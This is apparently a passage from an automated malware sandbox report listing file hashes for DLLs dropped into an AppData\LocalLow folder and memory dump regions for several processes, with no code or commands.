      b9cefa3c9b0af64e730454bdcc40dc07e0c579e4dae038ba175e3ef0215ccd8f436c07ce6439bc4a091765fd4c2870746137c9bbef938c4bc00ff3264d8e3997

    • \Users\Admin\AppData\LocalLow\sqlite3.dll
      MD5

      f964811b68f9f1487c2b41e1aef576ce

      SHA1

      b423959793f14b1416bc3b7051bed58a1034025f

      SHA256

      83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

      SHA512

      565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\freebl3.dll
      MD5

      60acd24430204ad2dc7f148b8cfe9bdc

      SHA1

      989f377b9117d7cb21cbe92a4117f88f9c7693d9

      SHA256

      9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

      SHA512

      626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\mozglue.dll
      MD5

      eae9273f8cdcf9321c6c37c244773139

      SHA1

      8378e2a2f3635574c106eea8419b5eb00b8489b0

      SHA256

      a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

      SHA512

      06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\nss3.dll
      MD5

      02cc7b8ee30056d5912de54f1bdfc219

      SHA1

      a6923da95705fb81e368ae48f93d28522ef552fb

      SHA256

      1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

      SHA512

      0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\softokn3.dll
      MD5

      4e8df049f3459fa94ab6ad387f3561ac

      SHA1

      06ed392bc29ad9d5fc05ee254c2625fd65925114

      SHA256

      25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

      SHA512

      3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

    • memory/492-122-0x0000000000000000-mapping.dmp
    • memory/492-128-0x00000000048E0000-0x0000000004973000-memory.dmp
      Filesize

      588KB

    • memory/492-129-0x0000000000400000-0x0000000002CB4000-memory.dmp
      Filesize

      40.7MB

    • memory/580-445-0x0000000000000000-mapping.dmp
    • memory/996-114-0x0000000000030000-0x0000000000039000-memory.dmp
      Filesize

      36KB

    • memory/996-169-0x0000000008200000-0x0000000008201000-memory.dmp
      Filesize

      4KB

    • memory/996-184-0x0000000001283000-0x0000000001284000-memory.dmp
      Filesize

      4KB

    • memory/996-166-0x00000000078C0000-0x00000000078C1000-memory.dmp
      Filesize

      4KB

    • memory/996-115-0x0000000000400000-0x0000000000902000-memory.dmp
      Filesize

      5.0MB

    • memory/996-156-0x0000000000000000-mapping.dmp
    • memory/996-185-0x0000000009360000-0x00000000094BB000-memory.dmp
      Filesize

      1.4MB

    • memory/996-178-0x00000000098D0000-0x00000000098D1000-memory.dmp
      Filesize

      4KB

    • memory/996-173-0x0000000001282000-0x0000000001283000-memory.dmp
      Filesize

      4KB

    • memory/996-172-0x0000000001280000-0x0000000001281000-memory.dmp
      Filesize

      4KB

    • memory/1332-120-0x0000000004780000-0x00000000047B9000-memory.dmp
      Filesize

      228KB

    • memory/1332-121-0x0000000000400000-0x0000000002C86000-memory.dmp
      Filesize

      40.5MB

    • memory/1332-117-0x0000000000000000-mapping.dmp
    • memory/1548-130-0x0000000000400000-0x0000000002C86000-memory.dmp
      Filesize

      40.5MB

    • memory/1548-125-0x0000000000000000-mapping.dmp
    • memory/2020-215-0x00000000097B0000-0x00000000097B1000-memory.dmp
      Filesize

      4KB

    • memory/2020-186-0x0000000000000000-mapping.dmp
    • memory/2020-421-0x0000000009CA0000-0x0000000009CA1000-memory.dmp
      Filesize

      4KB

    • memory/2020-415-0x0000000009CB0000-0x0000000009CB1000-memory.dmp
      Filesize

      4KB

    • memory/2020-245-0x0000000004F53000-0x0000000004F54000-memory.dmp
      Filesize

      4KB

    • memory/2020-220-0x0000000009A40000-0x0000000009A41000-memory.dmp
      Filesize

      4KB

    • memory/2020-213-0x000000007EEA0000-0x000000007EEA1000-memory.dmp
      Filesize

      4KB

    • memory/2020-207-0x00000000097D0000-0x0000000009803000-memory.dmp
      Filesize

      204KB

    • memory/2020-192-0x0000000004F52000-0x0000000004F53000-memory.dmp
      Filesize

      4KB

    • memory/2020-191-0x0000000004F50000-0x0000000004F51000-memory.dmp
      Filesize

      4KB

    • memory/2180-116-0x0000000001130000-0x0000000001146000-memory.dmp
      Filesize

      88KB

    • memory/2216-446-0x0000000000000000-mapping.dmp
    • memory/2304-442-0x0000000000000000-mapping.dmp
    • memory/2436-454-0x0000000000000000-mapping.dmp
    • memory/2644-447-0x0000000002C70000-0x0000000002DBA000-memory.dmp
      Filesize

      1.3MB

    • memory/2644-448-0x0000000000400000-0x0000000002C6A000-memory.dmp
      Filesize

      40.4MB

    • memory/2644-441-0x0000000000000000-mapping.dmp
    • memory/2648-440-0x0000000000000000-mapping.dmp
    • memory/3276-144-0x0000000008A30000-0x0000000008A31000-memory.dmp
      Filesize

      4KB

    • memory/3276-135-0x0000000007A70000-0x0000000007A71000-memory.dmp
      Filesize

      4KB

    • memory/3276-150-0x00000000096F0000-0x00000000096F1000-memory.dmp
      Filesize

      4KB

    • memory/3276-151-0x0000000009770000-0x0000000009771000-memory.dmp
      Filesize

      4KB

    • memory/3276-139-0x0000000008210000-0x0000000008211000-memory.dmp
      Filesize

      4KB

    • memory/3276-138-0x0000000007860000-0x0000000007861000-memory.dmp
      Filesize

      4KB

    • memory/3276-137-0x0000000004F72000-0x0000000004F73000-memory.dmp
      Filesize

      4KB

    • memory/3276-136-0x0000000004F70000-0x0000000004F71000-memory.dmp
      Filesize

      4KB

    • memory/3276-143-0x0000000008B00000-0x0000000008B01000-memory.dmp
      Filesize

      4KB

    • memory/3276-149-0x0000000009A40000-0x0000000009A41000-memory.dmp
      Filesize

      4KB

    • memory/3276-152-0x0000000009FE0000-0x0000000009FE1000-memory.dmp
      Filesize

      4KB

    • memory/3276-142-0x00000000085F0000-0x00000000085F1000-memory.dmp
      Filesize

      4KB

    • memory/3276-141-0x0000000008280000-0x0000000008281000-memory.dmp
      Filesize

      4KB

    • memory/3276-134-0x0000000004F20000-0x0000000004F21000-memory.dmp
      Filesize

      4KB

    • memory/3276-131-0x0000000000000000-mapping.dmp
    • memory/3276-170-0x0000000004F73000-0x0000000004F74000-memory.dmp
      Filesize

      4KB

    • memory/3276-140-0x0000000007A00000-0x0000000007A01000-memory.dmp
      Filesize

      4KB

    • memory/3632-453-0x0000000002FA0000-0x0000000002FA4000-memory.dmp
      Filesize

      16KB

    • memory/3632-455-0x0000000000400000-0x0000000002C6A000-memory.dmp
      Filesize

      40.4MB